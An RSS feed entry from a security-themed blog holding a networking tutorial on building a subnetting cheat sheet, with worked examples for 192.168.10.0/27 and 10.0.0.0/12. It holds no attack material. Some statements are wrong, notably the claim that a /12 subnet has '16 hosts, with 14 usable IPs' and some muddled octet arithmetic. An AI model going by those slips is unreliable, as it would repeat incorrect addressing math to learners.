<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Redteamers.in]]></title><description><![CDATA[Breaking Security - Sharing while learning]]></description><link>https://blog.redteamers.in</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1745603827677/fa29e584-4ee6-4700-bbfa-f738236d6b6a.png</url><title>Redteamers.in</title><link>https://blog.redteamers.in</link></image><generator>RSS for Node</generator><lastBuildDate>Tue, 15 Sep 2026 21:02:13 GMT</lastBuildDate><atom:link href="https://blog.redteamers.in/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Why Subnetting Isn’t Hard (If You’re the GOAT)]]></title><description><![CDATA[I am writing this article for those who’ve put a decent amount of effort and time in mastering subnetting but still struggle with it.
Subnetting is one of those topics in networking that many struggle with, beginners and even experienced professional...]]></description><link>https://blog.redteamers.in/why-subnetting-isnt-hard-if-youre-the-goat</link><guid isPermaLink="true">https://blog.redteamers.in/why-subnetting-isnt-hard-if-youre-the-goat</guid><category><![CDATA[subnetting]]></category><category><![CDATA[networking]]></category><dc:creator><![CDATA[Anand Darshan]]></dc:creator><pubDate>Tue, 08 Jul 2025 13:20:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1751975151322/7810bbe5-01f0-4a0c-b3dc-45c8bbd0ae26.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I am writing this article for those who’ve put a decent amount of effort and time in mastering subnetting but still struggle with it.</p>
<p>Subnetting is one of those topics in networking that many struggle with, beginners and even experienced professionals alike.</p>
<p>I’ve taken multiple courses, and with each one, a new piece of subnetting clicked into place. Eventually, I came across a way of organizing and visualizing subnetting that finally helped everything fall into place.</p>
<p>This article shares that exact method. It’s not another subnetting basics guide, it’s a <strong>cheat sheet-based approach</strong> for people who understand the theory but struggle when solving actual questions.</p>
<p>A better Pentester would not skip subnetting because it gives them an edge of understanding and mapping the given network out.</p>
<p>“You can break a thing better, if you know where all it’s joints are.”</p>
<h2 id="heading-what-can-you-expect-from-this-article">What can you expect from this article?</h2>
<p>The article doesn’t aim to teach the networking foundations or the topic “Subnetting” itself from scratch to the readers. It instead jumps straight into the Cheat Sheet for subnetting.</p>
<p>The article first shows how to build this cheat sheet from scratch in such a way that it’s easy to remember.</p>
<p>My personal claim is that the reader should be able to create this cheat sheet table in almost 5 minutes from scratch for any exams or network environment that they’ve been access to, for testing.</p>
<p>Then the article will walk readers through some subnetting networks and solve questions related to it. In the process understand the Maths of subnetting, all while referring this cheat sheet table and a method ( discussed while solving the questions only ) so readers can too build it from scratch in the exams they’re preparing for or the network they are testing and refers it to solve given problems right.</p>
<h2 id="heading-who-this-article-is-for">Who This Article is For?</h2>
<p>This article is <strong>not for complete beginners.</strong> It’s written for readers who:</p>
<ul>
<li><p>Already know the fundamentals of IP addressing, subnetting, CIDR, and subnet masks</p>
</li>
<li><p>Understand the difference between public/private IPs, the OSI/TCP-IP models, MAC vs IP, etc.</p>
</li>
<li><p>Have studied subnetting but still <strong>struggle with solving real subnetting questions</strong>, especially under pressure (like in exams or CTFs)</p>
</li>
</ul>
<p>If you haven’t reviewed subnetting in a while, I recommend giving yourself a quick refresher before continuing.</p>
<h2 id="heading-suggestion">Suggestion</h2>
<p>If you’ve decided to read this, commit to going through it <strong>thoroughly and slowly.</strong> Don’t skim.</p>
<p>Practice the questions and follow the cheat sheet creation process. Trust me, by the end, things will start clicking like never before.</p>
<h1 id="heading-creating-the-cheat-sheet">Creating the Cheat Sheet</h1>
<hr />
<p>So in this section you’ll learn how to create this cheat sheet.</p>
<p>You might be wondering “why would I need to know that I can just create this by memorizing it” and you’re correct to think so but still I personally believe if somebody tries to mug this table up without noticing the pattern, there’s a high probability, they will mess things up while creating the table, and that, in any exams with subnet questions, would be too bad.</p>
<p>This section intends to make the pattern known to the readers, so it becomes easy to memorize because this way readers won’t be afraid regarding creating the whole table itself, their mind will be focused on memorizing the initial pattern which will make the entire table fall in place itself without them trying to recall anything.</p>
<p>It becomes that easy with this table in hand. So shall we start now?</p>
<p>First open up an MS excel sheet, this is where we’ll work.</p>
<h3 id="heading-the-first-pattern-cidr-bits">The first pattern: CIDR bits</h3>
<p>We start with writing down CIDR bits from 1 to 32 split in four rows, each row of eight bits that adds to the previous total, like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751111440512/dc8018d2-d67c-4303-ad21-051170502f36.png" alt class="image--center mx-auto" /></p>
<p>Leave two rows gap in-between the next CIDR bits rows as shown in the figure above.</p>
<p>NOTE: While going through this section some things might look scattered, might not make much sense but it will all make sense while the question walk-through section.</p>
<p>Also remember that what we’re creating a cheat sheet, try to just learn how to create this so that you can solve questions, and focus less on trying to make sense of this table.</p>
<h3 id="heading-the-second-pattern-hosts-bits">The second pattern: Hosts bits</h3>
<p>Now we’ll write down the total hosts possible for given CIDR’s (subnet mask) network.</p>
<p>This time we’ll start from bottom to top, the hosts number will be placed right below the CIDR bits, like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751113094733/ad6238c0-2cff-419e-af97-71f66bdfe408.png" alt class="image--center mx-auto" /></p>
<p>Here we started from bottom right, with 1 then kept doubling when we moved right or top side of the table.</p>
<p>Simply use the equation of =previous*2 in the current cell to calculate the hosts number in the table, like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751113303870/f26463b2-7ff6-407d-80c0-ec690a56149d.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-the-third-pattern-subnet-mask-octet-in-focus">The third pattern: Subnet mask octet in focus</h3>
<p>In this we’ll add a pattern common for entire rows in pair of CIDR bits and Hosts. Look at the table to understand better</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751115275087/6ab222d0-fbdd-4407-98fe-ff08e4897788.png" alt class="image--center mx-auto" /></p>
<p>So for each CIDR and corresponding hosts number, we have subnet mask.</p>
<p>The x in the subnet mask represents the position that will be changed based on the CIDR bits taken.</p>
<p>For example,</p>
<ul>
<li><p>For the third CIDR and Hosts pair, we have 255.255.x.0 as the common subnet mask, there x is unkown, and it will be decided based on the given network with specific CIDR.</p>
</li>
<li><p>So let’s keep one network in memory, 192.168.0.0./20. When the table’s complete we’ll find out the exact subnet mask value for the network later.</p>
</li>
</ul>
<h3 id="heading-the-fourth-pattern">The fourth pattern</h3>
<p>In this, we’ll first write down the hosts ( 1 to 128, from the last row in the table we’ve created so far ), like</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751133010904/0f0c5d3e-30b3-463d-a83f-d89012252f44.png" alt class="image--center mx-auto" /></p>
<p>Corresponding to that we’ll write subnet (CIDR) bits value ( each bit in the octet switched on, corresponds to some value which I assume known to readers ), starting from 128, we’ll diagonally add subnet (CIDR) bit value to the number of hosts like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751133181333/3112a4d7-1798-4557-b744-859e89a3abb1.png" alt class="image--center mx-auto" /></p>
<p>Next to it will be,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751133263726/509b99b8-619b-4b76-b644-82dd31c7fc7e.png" alt class="image--center mx-auto" /></p>
<p>and if we keep doing that we’ll end up with this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751133457067/ea21e7ae-bfb2-4440-b5ce-66064edc5516.png" alt class="image--center mx-auto" /></p>
<p>So our final cheat sheet table is</p>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751133622192/3b699564-f158-4e79-b617-d34697e7288d.png" alt class="image--center mx-auto" /></p>
<p>I’ll show you how to refer this and solve any subnetting questions.</p>
<p>So keep this in your head’s buffer.</p>
<hr />
<h2 id="heading-obtaining-subnet-mask-from-cidr-bits">Obtaining Subnet mask ( from CIDR bits )</h2>
<h4 id="heading-example-discussion-from-the-third-pattern">Example Discussion ( from the third pattern )</h4>
<p>Go back to the third pattern, there we were going to find the exact subnet mask value for the network 192.168.0.0./20.</p>
<p>As the table’s complete, we can refer and easily do that now.</p>
<p>It’s so simple, that you might would have been able to guess it on your own and if you haven’t then here’s the discussion.</p>
<p>Find the CIDR bits ( subnet bits ) that is equal to 20, we’re doing so because we have /20 network,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751134347307/65b0b20b-3ad5-4507-8cfc-e50874bdfca4.png" alt class="image--center mx-auto" /></p>
<p>So we see that the CIDR bits /20 appears in the 255.255.x.0 section of the table. So subnet’s two octet is already fixed except the x.</p>
<p>Now to find x, we just refer the subnet bits value from the cheat sheet, like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751134610685/a6bea218-27c4-4478-be7d-b860860d18ca.png" alt class="image--center mx-auto" /></p>
<p>and that’s it, we now have the subnet mask value of the network, which is 255.255.240.0 ( which is equal to /20 in CIDR notation ).</p>
<hr />
<p>Now let’s learn to use this cheat sheet</p>
<h2 id="heading-learn-to-use-this-cheat-sheet-table-properly">Learn to use this cheat sheet table properly</h2>
<p>In this section of the article, we’ll refer this cheat sheet table and solve questions to learn the proper way of cheating without really cheating ( seriously ).</p>
<h2 id="heading-question-1-small-network-cidr-24-to-32-range">Question 1: Small network (CIDR /24 to /32 range)</h2>
<hr />
<p>Generate 3 subnets from the network 192.168.10.0/27.<br />List the following for each of the subnets:</p>
<ul>
<li><p>Sub-Network ( x.x.x.x/27 )</p>
</li>
<li><p>Subnet Mask</p>
</li>
<li><p>Number of Hosts</p>
</li>
<li><p>First IP</p>
</li>
<li><p>Last IP (Broadcast IP)</p>
</li>
</ul>
<h2 id="heading-method-1-small-network-increment-method">Method 1: Small Network Increment Method</h2>
<hr />
<ul>
<li><p>This is my preferred method while working with smaller networks (higher CIDR value).</p>
</li>
<li><p>This method is effective only with small sized networks, with larger networks, this method can be calculation heavy which may lead to error but I’m discussing it so you can understand the subnetting calculation better through this cheat sheet. Just trust me, and read through the article. It will pay off.</p>
</li>
<li><p>The method 2 ( discussed later ) is our main method. It works with any size of network ( with any CIDR range ).</p>
</li>
</ul>
<h3 id="heading-first-subnet"><em>First subnet</em></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751184872286/9e49e29d-7aba-4650-a596-c748f72e2e6b.png" alt class="image--center mx-auto" /></p>
<p>NOTE: in the table, “<mark>Network</mark>” is simply the sub-net and “<mark>network</mark>” is network address ( first address in the sub-net ). They are not the same.</p>
<h3 id="heading-subnet-mask"><strong>Subnet mask</strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751185611819/aa41fff0-cc5a-45d9-9ed7-d58af90216c5.png" alt class="image--center mx-auto" /></p>
<p>So we got the subnet mask: 255.255.255.224</p>
<h3 id="heading-hosts-per-subnet"><strong>Hosts per subnet</strong></h3>
<p>If we see the hosts corresponding to the CIDR bits of 27, we see 32 hosts possible per sub-net</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751185842513/4b264111-cee3-47e2-8ba6-d9ee630a813d.png" alt class="image--center mx-auto" /></p>
<p>But First IP ( network address ) and the last IP ( Broadcast address ) is reserved in each sub-net (or network). First IP is used for identifying the sub-network and the last is used for broadcasting messages to other hosts in the sub-network.</p>
<p>So formula for total number of possible hosts in any network is</p>
<p><code>Total usual hosts number ( IP address ) = CIDR corresponding hosts - 2</code></p>
<p>That gives us a total of 30 hosts ( 30 usable IP addresses in the sub-net ).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751188716386/a1f5e595-6978-4a70-b882-01f2f911e014.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-network-address-network"><strong>Network address ( network )</strong></h3>
<p>It should be pretty easy, as it’s the first address in the sub-network.</p>
<p>So our Network ( network address ) is 192.168.10.0, cool!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751188739577/f536b15e-b3b8-461e-ba0f-720c701d76fd.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-broadcast-address-broadcast">Broadcast address ( broadcast )</h3>
<p>This too should be easy for us.</p>
<p>We know that the last address is braodcast, and we also know that the total hosts in the sub-net is 30 + 1 network address + 1 broadcast address, which equals to 32 ( as pointed in the cheat sheet ).</p>
<p>So we simply add total number of hosts including the two reserved host IPs ( 32 ), to the network address, starting the count to 32 from the network address itself.</p>
<p>So in this sub-net</p>
<ul>
<li><p>The 1st address (host) is 192.168.10.0</p>
</li>
<li><p>The 2nd address (host) is 192.168.10.1</p>
</li>
<li><p>The 10th address (host) is 192.168.10.9</p>
</li>
<li><p>And the 32nd address is 192.168.10.31 ( because we started the host number count to add from IP ending with zero aka., the network address )</p>
</li>
</ul>
<p>So the last IP which is 192.168.10.31 is the broadcast address.</p>
<p>The break down above was done to make readers understand this counting and addition better. You won’t need to do this yourself as you practice a few questions.</p>
<p>So the first subnet we got is</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751187910236/991a856b-b686-4b68-af30-abe5fccd90ff.png" alt class="image--center mx-auto" /></p>
<p>We have to derive 2 more sub-nets from this.</p>
<h3 id="heading-second-subnet"><em>Second Subnet</em></h3>
<p>First of all, we need to figure out what’s the next network ( subnet ).</p>
<p>This is actually easy, we just need to refer to the previous sub-net’s broadcast address, which is 192.168.10.31. So whatever IP comes after that is our new sub-net address, which is 192.168.10.32/27</p>
<p>Of course, the /27 stays there in each sub-nets we derive from the original starting network</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751188208079/8b228591-5d0d-4a64-b2c9-ca23dc44fe4c.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-subnet-mask-and-hosts">Subnet mask and hosts</h3>
<p>Well, because the CIDR stays same, /27, the subnet mask value stays the same too.</p>
<p>The same goes for hosts in the network, it will stay the same too, because of the CIDR bits didn’t change and hence the corresponding hosts value stayed the same too.</p>
<p>So we have 255.255.255.224 subnet mask and 30 hosts. This will be the same for next sub-net we derive in this question.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751188394813/2c7bf816-269d-444c-a2a7-1f918abe5636.png" alt class="image--center mx-auto" /></p>
<p>So we’re now just left with network address and broadcast address IP identification.</p>
<h3 id="heading-network-address">Network address</h3>
<p>It’s pretty simple, as mentioned the first address is the network address and here the first address would be 192.168.10.32 ( take it directly from the Network 192.168.10.32/27 )</p>
<h3 id="heading-broadcast-address">Broadcast address</h3>
<p>We’ll do yet again, the same thing, which is adding 32 hosts including the network address ( 192.168.10.32 ), to find the last address in the given subnet ( which is broadcast ).</p>
<p>So 192.168.10.32 ( the network address ) + 31 ( not 32, because we’re counting the network address separately ) = broadcast address</p>
<p>broadcast address =&gt; 192.168.10.32+31 = 192.168.10.63</p>
<p>So our next subnet has the followings in it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751192192089/67b9f93f-a5a5-45d5-8079-cd8946f8f7c2.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-third-subnet">Third Subnet</h3>
<p>Now I’m not gonna discuss this but list everything, you should be able to make sense of it easily now</p>
<ul>
<li><p>Network - 192.168.10.64/27</p>
</li>
<li><p>subnet mask - 255.255.255.224</p>
</li>
<li><p>hosts ( excluding network addr and broadcast addr ) - 30</p>
</li>
<li><p>network address ( network ) - 192.168.10.64</p>
<ul>
<li>first address in the sub-network</li>
</ul>
</li>
<li><p>broadcast address - 192.168.10.(64+31) = 192.168.10.95</p>
<ul>
<li>To find out the last address ( broadcast address ), add 31 to the network address ( 64 + 31 )</li>
</ul>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751193131319/4db3f6e7-50be-441b-bf82-6ece06b541a6.png" alt class="image--center mx-auto" /></p>
<p>So our final three subnets derived from the given network 192.168.10.0/27 are:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Network</strong></td><td><strong>subnet mask</strong></td><td><strong>hosts</strong></td><td><strong>network address</strong></td><td><strong>broadcast</strong></td></tr>
</thead>
<tbody>
<tr>
<td></td><td></td><td></td><td></td><td></td></tr>
<tr>
<td>192.168.10.0/27</td><td>255.255.255.224</td><td>30</td><td>192.168.10.0</td><td>192.168.10.31</td></tr>
<tr>
<td>192.168.10.32/27</td><td>255.255.255.224</td><td>30</td><td>192.168.10.32</td><td>192.168.10.63</td></tr>
<tr>
<td>192.168.10.64/27</td><td>255.255.255.224</td><td>30</td><td>192.168.10.64</td><td>192.168.10.95</td></tr>
</tbody>
</table>
</div><p>This method is easier when working with small networks but the general way of working with any size of network requires a different common method ( common because it works even in the larger networks ).</p>
<h2 id="heading-method-2-subnet-block-span-method-main-method">Method 2: Subnet Block Span Method ( Main Method )</h2>
<hr />
<p>This method brings one small change, everything else stays the same as the 1st method.</p>
<p>This one change is just a simple formula that makes it easier for us to identify where the next sub-network starts.</p>
<p>While working with larger networks ( with higher number of hosts per sub-net ), this formula becomes very effective.</p>
<p>You’ll see, in the second question ( /12 CIDR, higher number of hosts, larger network question ), we’ll use this method only.</p>
<p>Let’s continue with the same network from the last subnet we identified from 1st method.</p>
<p>The network is 192.168.10.96/27. We have to identify the next three subnets and for each we need to state</p>
<ul>
<li><p>subnet itself ( Network )</p>
</li>
<li><p>subnet mask</p>
</li>
<li><p>hosts</p>
</li>
<li><p>network address</p>
</li>
<li><p>broadcast address</p>
</li>
</ul>
<p>We’re using the same methods for identifying subnet mask, hosts number, and network address.</p>
<p>And then we’re going to use a formula to identify the next subnet based on which we can also identify broadcast address.</p>
<p>So first, our table looks like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751291813698/4d891665-e020-4478-b2cf-23da6e70259d.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-the-formula">The formula</h3>
<p>let’s look at the CIDR and subnet mask. It is /27 and 255.255.255.224 respectively.</p>
<p>Looking at /27, We know that the first 3 octets (255.255.255) are fixed, and our working/focus octet is the fourth one 224.</p>
<p>Using the formula:</p>
<h3 id="heading-total-numbers-of-iphosts-including-the-network-addrid-and-the-broadcast-addr-in-an-octet-the-subnet-mask-octet-in-focus-4th-octet-value-subnet-block-span-size"><mark>Total numbers of IP/hosts ( including the network addr/id and the broadcast addr ) in an octet - the subnet mask octet in focus ( 4th octet value ) = Subnet Block Span Size</mark></h3>
<h3 id="heading-256-starting-from-0-to-255-256-224-4th-octet-octet-in-focus-subnets-block-span-size"><mark>256 ( starting from 0 to 255 = 256 ) - 224 ( 4th octet, octet in focus ) = Subnet’s Block Span Size</mark></h3>
<p>So that gives us;</p>
<h3 id="heading-32-subnets-block-span-size"><mark>32 = Subnet’s Block Span Size</mark></h3>
<p>Now let me explain this.</p>
<p>Subnet Block Span Size helps you identify where each new subnet starts in the relevant octet and where it ends in the given octets. Doesn’t make sense, right?</p>
<p>That’s okay, for now refer Subnet Block Span Size as Subnet Block Size. The name Subnet Block Span Size will make sense when you’ll work with bigger networks. I’ll be going there in the next section of solving a question related to bigger network with CIDR /12.</p>
<p>For now just consider it as Subnet Block Size, which is defined below.</p>
<p>Subnet’s block size is the size of each sub-network we’ll be getting from a /27 CIDR, means each sub-network will be able to accomodate a total of 32 hosts including network id/addr and broadcast addr, leaving us with 30 usable IPs.</p>
<p>So now we increase the value of base address ( network address ) by 32 starting the count from network address as 1.</p>
<p>That leaves us with these as our each sub-networks’ broadcast address:</p>
<ul>
<li><p>192.168.10.95+32 = 192.168.10.127</p>
</li>
<li><p>192.168.10.127+32 = 192.168.10.159</p>
</li>
<li><p>192.168.10.159+32 = 192.168.10.191</p>
</li>
<li><p>192.168.10.191+32 = 192.168.10.223</p>
</li>
<li><p>192.168.10.223+32 = 192.168.10.255 ( the last IP possible in the last sub-network )</p>
</li>
</ul>
<p>Optional: Complete this table, try to make as many subnets as you can in this. You already have the broadcast IPs but don’t look at the answer here. Try to do it on your own. Maybe take one another question, but come back soon. Next content in this article is important.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Revision and reflection point - do a quick re-run if you feel necessary</div>
</div>

<h2 id="heading-method-2-on-larger-network-lower-cidr-value">Method 2 on larger network ( lower CIDR value )</h2>
<p>Let’s just assume a network x.x.x.x/12.</p>
<p>So CIDR /12 gives us 255.240.0.0 subnet mask. Great!</p>
<p>Now we know 1st octet is fixed, but here the 2nd octet is in focus.</p>
<h3 id="heading-okay-so-now-we-do-the-same-thing">Okay so now we do the same thing</h3>
<h3 id="heading-256-240-subnet-block-size-subnet-block-span-size"><mark>256 - 240 = subnet block size ( Subnet Block Span Size)</mark></h3>
<h3 id="heading-16-subnet-block-size-subnet-block-span-size"><mark>16 = Subnet block size ( Subnet Block Span Size)</mark></h3>
<p>So we’ve got each networks of 16 hosts size, with 14 usable IPs.</p>
<p>Hope you’ve got that much. Now we’ll go solve a question using this method with the cheat sheet table together, for a larger network with the same CIDR /12, which would have way higher number of hosts in it.</p>
<p>Let’s go..</p>
<hr />
<p>This was easier as the network was small. It gets a bit more messy when the network’s size increases. That’s why we’ll look at one more example question which would be for larger networks.</p>
<p>Hope you’ve understood how to use the table.</p>
<p>Don’t worry if you feel a bit overwhelmed, it’s actually pretty easy. You just have to solve a few questions, then you’ll be feeling pretty comfortable by the end.</p>
<p>I’ll also give you routine to follow so you can practice a few questions in a very specific way, making the the cheat sheet table embedded in your head.</p>
<h2 id="heading-question-2-larger-network-cidr-8-to-16-range">Question 2: larger network (CIDR /8 to /16 range)</h2>
<hr />
<p>Now brace yourselves. This one’s gonna be mildly more trippy than the last one, in fact that’s the point of bringing these larger network in this article, but this article’s aim is to make it way easier for you. You already have been introduced the method 2 and that’s what we need.</p>
<p>I’m just gonna show you how to implement the second method for larger networks, and you’ll be good to go.</p>
<p>Don’t be scared, I’ve got you. Just read through, understand the lines and you’ll be good to go.</p>
<p>And by trippy, I mean mildly more subnetting Maths and calculation, That’s it. So don’t get nervous because of that, yeah?</p>
<p>Given network is 10.0.0.0/12.</p>
<p>Derive 3 subnets from this network and for each subnet, provide:</p>
<ul>
<li><p>Network ( x.x.x.x/12 )</p>
</li>
<li><p>Subnet Mask</p>
</li>
<li><p>Number of Hosts</p>
</li>
<li><p>First IP ( network addr )</p>
</li>
<li><p>Last IP ( broadcast addr )</p>
</li>
</ul>
<h2 id="heading-cheat-sheet-table-for-reference">Cheat Sheet Table ( for reference )</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751133622192/3b699564-f158-4e79-b617-d34697e7288d.png" alt /></p>
<h2 id="heading-method-2-formula">Method 2 Formula</h2>
<h4 id="heading-256-the-subnet-mask-octet-in-focus-subnetnetwork-block-size"><em>256 - the subnet mask octet in focus = Subnet/Network Block Size</em></h4>
<h2 id="heading-first-subnet-1"><em>First Subnet</em></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751903216023/89d50c7e-8a34-4b95-a7b3-f2756cf7467a.png" alt class="image--center mx-auto" /></p>
<p>We’ll use the cheat sheet and quick identify subnet mask, hosts number, and the network address.</p>
<h3 id="heading-subnet-mask-1">Subnet mask</h3>
<p>It should be easy by now to identify this and obvious but still I’m gonna repeat how to refer the cheat sheet through the screenshot below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751903396244/bed9dd24-c147-4e63-a4c5-cd33c463484c.png" alt class="image--center mx-auto" /></p>
<p>First octet is fixed, we know that. x is in focus, that’s where we put the subnet value.</p>
<p>So our subnet is 255.240.0.0.</p>
<h3 id="heading-hosts">hosts</h3>
<p>This too should be easy.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751903549384/f3dfa38c-275c-471b-b0bd-f13aa08b5822.png" alt class="image--center mx-auto" /></p>
<p>So we have total of 1048576 hosts. Usable hosts would 2 less (network address and the broadcast address, first and last IP), 1048574.</p>
<h3 id="heading-network-address-1">network address</h3>
<p>The first IP of course which is 10.0.0.0</p>
<h3 id="heading-broadcast-address-1">Broadcast address</h3>
<p>Now we’re left with broadcast address identification.</p>
<p>But wait, we already know total number of hosts per sub-network, 1048576, don’t we?</p>
<p>Yep we do but do we have the block size and can you tell identify the broadcast address? No you can’t, and if you could then it would take a lot of time and calculation.</p>
<p>You actually have the block size ( total number of hosts per network ) but laying it in IP 4 octet format is what’s turns challenging here. So let’s make it easy..</p>
<p>The formula is still the same, but we get to have a different perspective on it while working with larger networks. let’s look through that perspective..</p>
<p>The perspective is the working/focus octet in subnet mask mapped with network’s IP. This is very important, just keep that in mind.</p>
<p>Let’ me explain.</p>
<h3 id="heading-256-the-subnet-mask-octet-in-focus-subnetnetwork-block-span-size"><mark>256 - the subnet mask octet in focus = Subnet/Network Block Span Size</mark></h3>
<p>So this is our formula.</p>
<p>/12 = 255.240.0.0</p>
<p>And the value that we need to subtract from 256, “the subnet mask octet in focus” value, is 240.</p>
<p>So what we get is,</p>
<h3 id="heading-256-240-sub-network-block-span-size"><mark>256 - 240 = Sub-network Block Span Size</mark></h3>
<h3 id="heading-16-sub-network-block-span-size"><mark>16 = Sub-network Block Span Size</mark></h3>
<p>So where do we add this 16 value ?</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Remember we add the block size (more correctly, Block span size), as explained in the smaller network section, to the base network ( including the first ip - network address )</div>
</div>

<p>Well that’s where we discuss about the Sub-net Block Span Size ( instead of referring to it as Subnet block size, which mildly incorrect ).</p>
<p>I told you earlier that the perspective change to look at this formula is the subnet octet in focus mapped with network IP. And that in fact is where we’ll put the 16.</p>
<p>So we have 255.240.0.0 subnet mask and network IP 10.0.0.0.</p>
<p>2nd octet is the focus octet in subnet, hence focus octet in network IP would be the 2nd octet as well.</p>
<p>So we’ll add the value 16 into the second octet of the network IP starting to count from network address ( as the network address is included in this 16 hosts, mentioned in the call-out above ), 10.15.0.0</p>
<p>So we have, 10.15.0.0.</p>
<p>Now 1st octet was fixed, second octet was in focus, which we’ve identified. Now we need the last IP - broadcast IP, and we know that each octet’s last value is 255, so we simply fill that in.</p>
<p>So we get 10.15.255.255. And that’s our last IP - Broadcast IP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751906805117/ae3dc7c4-9dca-4362-827a-2b9aa891b023.png" alt class="image--center mx-auto" /></p>
<hr />
<p>Here’s another perspective to look through, to see how total hosts:</p>
<ul>
<li><p>10.0.0.0 to 10.0.0.255</p>
<ul>
<li><p>10.0.1.0 to 10.0.1.255</p>
</li>
<li><p>10.0.2.0 to 10.0.2.255</p>
</li>
<li><p>…. 10.0.255.255, next is 10.1.0.0</p>
</li>
</ul>
</li>
<li><p>10.1.0.0 to 10.1.255.255</p>
</li>
<li><p>10.2.0.0 to 10.2.255.255</p>
</li>
<li><p>…. 10.240.255.255 to 10.255.255.255</p>
</li>
</ul>
<p>So, according to this, we can calculate the Total hosts for the sub-network we’ve extracted like this:</p>
<p>Total hosts for 10.0.0.0/12 = 16×256×256( 0 to 255 )</p>
<p>Total hosts for 10.0.0.0/12 = 4096×256</p>
<p>Total hosts for 10.0.0.0/12 = 1048576</p>
<p>Usual hosts/IP = 1048574</p>
<p>Hope that makes sense. Some things might start to feel repetitive, that’s intentional, so things get hammered in your head.</p>
<hr />
<p>That gives us the next address in the network, 10.16.0.0/12</p>
<p>We know for this too, the subnet mask and hosts number would be the same.</p>
<p>Network address too would be the first IP itself, i.e., 10.16.0.0</p>
<p>So let’s calculate the second broadcast IP quickly,</p>
<ul>
<li><p>10.16.0.0 is the base IP</p>
</li>
<li><p>We need to add 16 starting from base IP in the octet that’s in focus ( 2nd octet )</p>
</li>
<li><p>So 10.15+16.0.0 = 10.31.0.0</p>
</li>
<li><p>To reach the last IP, fill the remained octet to it’s highest value possible, 255.</p>
</li>
<li><p>That gives us the last IP - 10.31.255.255</p>
</li>
</ul>
<p>That’s gives us our next sub-network</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1751907441302/c31401e2-55a0-41dc-8e24-e7f8acf1cbbc.png" alt class="image--center mx-auto" /></p>
<p>Now, you go have a try on the next one on your own. It’s easy, I know you can do this.</p>
<p>So that’s all of it.</p>
<p>That’s where Sub-netting content of the article stops. I’ve given all of what I had related to sub-netting here.</p>
<hr />
<h1 id="heading-5-day-practice-plan">5 day Practice Plan</h1>
<p>I want you to get the most out of this article that’s why I’m sharing a plan that worked for me.</p>
<p>It takes five days, and you’ll rock all sub-netting questions like it’s now your forte.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Day</td><td>What to Do</td></tr>
</thead>
<tbody>
<tr>
<td>1</td><td>Read article. Solve 3 fresh questions.</td></tr>
<tr>
<td>2</td><td>Solve 4-5 questions. Each should involve generating 3 subnets.</td></tr>
<tr>
<td>4</td><td>Solve 3 more. Create cheat sheet on your own. Refer article only if stuck.</td></tr>
<tr>
<td>8</td><td>Repeat. No article reference allowed. Refer your Day 4 cheat sheet if stuck.</td></tr>
<tr>
<td>30</td><td>Final practice. Fresh 3 question set. Create cheat sheet from scratch. No reference this time.</td></tr>
</tbody>
</table>
</div><p>If you fail on 30th day, which is highly unlikely but if it happens. Don’t be bothered. Re-do, make a custom plan that works for you.</p>
<p>This doesn’t necessarily would work for everyone, but it did or me.</p>
<p>You’ll get it for sure then.</p>
<hr />
<p>So that would all from my side.</p>
<p>If this guide helped you understand subnetting better or even made it finally click, then I'd love to hear from you.</p>
<p>A quick message or comment on <a target="_blank" href="https://www.linkedin.com/in/anand-darshan-520987202/">LinkedIn</a> would mean a lot.</p>
<p>Thanks for reading. Happy subnetting!</p>
<p>See You then..</p>
